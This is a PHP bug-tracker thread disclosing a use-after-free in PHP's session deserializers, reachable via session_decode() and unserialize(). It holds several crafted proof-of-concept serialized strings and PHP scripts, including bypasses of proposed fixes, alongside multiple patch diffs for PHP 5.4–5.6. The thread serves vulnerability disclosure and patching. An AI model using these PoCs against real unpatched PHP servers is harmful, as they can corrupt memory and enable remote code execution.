|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-08-09 10:30 UTC] taoguangchen at icloud dot com
Description:
------------
I have reported a number of similar vulnerabilities in unserialize().
```
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
...
PHP_VAR_UNSERIALIZE_INIT(var_hash);
p = val;
while (p < endptr) {
...
if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
p = q;
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return SUCCESS;
}
when sesson deserializer (php/php_binary) deserializing multiple data it will calls php_var_unserialize() multiple times. so we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, then the next call php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.
PoC:
```
session_start();
$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
session_decode($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($_SESSION);
```
in addition, in some other cases it may also lead to security issue, ex: i) a crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload(). i have reported the similar ideas to other bug report, so i will not describe them again.
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Nov 02 23:00:02 2025 UTC |
the patch for 5.4 series (maybe work on 5.5 and 5.6 series): diff --git a/php-5.4.44/session.c b/php-5.4.44-fixed/session.c index 306aba3..7081229 100644 --- a/php-5.4.44/session.c +++ b/php-5.4.44-fixed/session.c @@ -854,7 +854,16 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), (long)((char*)endptr - val)); + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + return SUCCESS; + } + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + PHP_VAR_UNSERIALIZE_INIT(var_hash); } zval_ptr_dtor(¤t); } @@ -946,7 +955,16 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zval_ptr_dtor(¤t); + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), (long)((char*)endptr - p)); + goto break_outer_loop; + } + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + PHP_VAR_UNSERIALIZE_INIT(var_hash); } zval_ptr_dtor(¤t); }update a new patch for 5.4 serise: diff --git a/php-5.4.44/session.c b/php-5.4.44-fixed/session.c index 306aba3..f0d484a 100644 --- a/php-5.4.44/session.c +++ b/php-5.4.44-fixed/session.c @@ -854,7 +854,17 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zval_ptr_dtor(¤t); + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), vallen); + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + return SUCCESS; + } + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + PHP_VAR_UNSERIALIZE_INIT(var_hash); } zval_ptr_dtor(¤t); } @@ -946,7 +956,16 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zval_ptr_dtor(¤t); + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), vallen); + goto break_outer_loop; + } + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + PHP_VAR_UNSERIALIZE_INIT(var_hash); } zval_ptr_dtor(¤t); }post a patch for 5.5 and 5.6 series (fix another UaF in php_serialize): diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c index b73d5ed..c47aaab 100644 --- a/php-5.6.12/session.c +++ b/php-5.6.12-fixed/session.c @@ -857,12 +857,25 @@ PS_SERIALIZER_ENCODE_FUNC(php_serialize) /* {{{ */ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ { const char *endptr = val + vallen; + const char *p; zval *session_vars; php_unserialize_data_t var_hash; PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); - php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC); + p = val; + if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) { + if (BG(unserialize).level != 1) { + var_push_dtor(&var_hash, &session_vars); + } + } else { + if (!EG(exception) && BG(unserialize).level != 1 && vallen != 0) { + zval_ptr_dtor(&session_vars); + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %d of %d bytes", (long)((char*)val - p), vallen); + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + return SUCCESS; + } + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (PS(http_session_vars)) { zval_ptr_dtor(&PS(http_session_vars)); @@ -946,7 +959,17 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zval_ptr_dtor(¤t); + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), vallen); + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + return SUCCESS; + } + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + PHP_VAR_UNSERIALIZE_INIT(var_hash); } zval_ptr_dtor(¤t); } @@ -1038,7 +1061,16 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zval_ptr_dtor(¤t); + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), vallen); + goto break_outer_loop; + } + PHP_VAR_UNSERIALIZE_DESTROY(var_hash); + PHP_VAR_UNSERIALIZE_INIT(var_hash); } zval_ptr_dtor(¤t); }i think that if the previous deserialized session data is invalid, should not continue to follow deserialized because it may produce unexpected session data. so i update a new patch for this bug. diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c index b73d5ed..34a6ef2 100644 --- a/php-5.6.12/session.c +++ b/php-5.6.12-fixed/session.c @@ -857,12 +857,18 @@ PS_SERIALIZER_ENCODE_FUNC(php_serialize) /* {{{ */ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ { const char *endptr = val + vallen; + const char *p; zval *session_vars; php_unserialize_data_t var_hash; PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); - php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC); + p = val; + if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC) && BG(unserialize).level != 1) { + var_push_dtor(&var_hash, &session_vars); + } else if (!EG(exception) && BG(unserialize).level != 1 && vallen != 0) { + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %d of %d bytes", (long)((char*)val - p), vallen); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (PS(http_session_vars)) { zval_ptr_dtor(&PS(http_session_vars)); @@ -946,7 +952,13 @@ PS_SERIALIZER_DECODE_FUNC(php_binary) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &p, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - val), vallen); + } + endptr = p; } zval_ptr_dtor(¤t); } @@ -1038,7 +1050,13 @@ PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */ if (has_value) { ALLOC_INIT_ZVAL(current); if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, ¤t); php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC); + } else { + if (!EG(exception) && BG(unserialize).level != 1) { + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)q - p), vallen); + } + endptr = p; } zval_ptr_dtor(¤t); }i)this patch looks break ext/session/tests/session_decode_error2.phpt. ii)you have to consider the situation in BG(unserialize).level != 1, like bug#70172 and bug#70213, ex: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_start(); session_decode($data); } } ``` iii)you also may need to consider the code: ``` zval_ptr_dtor(¤t); ```so i post new PoC for iii), and it can bypass your patch. ``` session_start(); $exploit = 'ryat|a:2:{i:0;i:1;i:1;i:2;}ryat|i:1;chtg|a:1:{i:0;R:2;}'; session_decode($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($_SESSION); ```oh, previous PoC is not work, and i update a new PoC: ``` session_start(); $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;'; session_decode($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($_SESSION); ```this patch can be bypass: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_start(); session_decode($data); } } $inner = 'ryat|a:1:{i:0;a:1:{i:1;a:0:{'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ``` so you have to consider the situation in BG(unserialize).level != 1oh, maybe you test the code on 5.4 series (the code worked on 5.5 and 5.6 series), i update new code for 5.4 series: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_start(); session_decode($data); } } $inner = 'ryat|a:1:{i:0;a:1:{i:1;'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```in 5.5 and 5.6 series, another UaF exist in session's php_serialize deserializer: ``` ini_set('session.serialize_handler', 'php_serialize'); session_start(); class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_decode($data); } } $inner = 'r:2;'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; // $exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); var_dump($_SESSION); ```the patch can fix another UaF in session's php_serialize deserializer. (5.5 and 5.6 series) diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c index b73d5ed..c4f8b72 100644 --- a/php-5.6.12/session.c +++ b/php-5.6.12-fixed/session.c @@ -862,7 +862,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); - php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC); + if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, &session_vars); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (PS(http_session_vars)) { zval_ptr_dtor(&PS(http_session_vars)); @@ -871,7 +873,8 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ array_init(session_vars); } PS(http_session_vars) = session_vars; - ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), 2, 1); + Z_ADDREF_PP(&PS(http_session_vars)); + zend_hash_update(&EG(symbol_table), "_SESSION", sizeof("_SESSION"), &PS(http_session_vars), sizeof(zval *), NULL); return SUCCESS; } /* }}} */hi, your latest patch can lead to null pointer dereference issue: ``` if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) { <<<<< var_hash is NULL var_push_dtor_no_addref(var_hash, &key); return 0; } ``` PoC: ``` unserialize('a:1:{O:3:"obj":1:{s:4:"ryat";'); ``` You need to fix it in var_push_dtor_no_addref, ex: ``` PHPAPI void var_push_dtor_no_addref(php_unserialize_data_t *var_hashx, zval **rval) { var_entries *var_hash; if (!var_hashx || !*var_hashx) { return; } var_hash = (*var_hashx)->last_dtor; ```oh, the latest patch work for 5.5 and 5.6: diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c index b73d5ed..c4f8b72 100644 --- a/php-5.6.12/session.c +++ b/php-5.6.12-fixed/session.c @@ -862,7 +862,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); - php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC); + if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, &session_vars); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (PS(http_session_vars)) { zval_ptr_dtor(&PS(http_session_vars)); @@ -871,7 +873,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ array_init(session_vars); } PS(http_session_vars) = session_vars; - ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), 2, 1); + Z_SET_ISREF_TO_P(PS(http_session_vars), 1); + Z_ADDREF_P(PS(http_session_vars)); + zend_hash_update(&EG(symbol_table), "_SESSION", sizeof("_SESSION"), &PS(http_session_vars), sizeof(zval *), NULL); return SUCCESS; } /* }}} */patch for 5.5 and 5.6: diff --git a/php-5.6.12/session.c b/php-5.6.12-fixed/session.c index b73d5ed..c4f8b72 100644 --- a/php-5.6.12/session.c +++ b/php-5.6.12-fixed/session.c @@ -862,7 +862,9 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); - php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC); + if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) { + var_push_dtor(&var_hash, &session_vars); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (PS(http_session_vars)) { zval_ptr_dtor(&PS(http_session_vars)); @@ -871,7 +873,7 @@ PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ array_init(session_vars); } PS(http_session_vars) = session_vars; - ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), 2, 1); + ZEND_SET_GLOBAL_VAR_WITH_LENGTH("_SESSION", sizeof("_SESSION"), PS(http_session_vars), Z_REFCOUNT_P(PS(http_session_vars)) + 1, 1); return SUCCESS; } /* }}} */Hi There, The following code run on php 5.3.x also works: session_start(); $exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}'; session_decode($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($_SESSION); Unfortunately because php.net didn't specify that this affected 5.3 vendors like Redhat have not back ported the patch. Can you re-open this and explicitly state this? Paul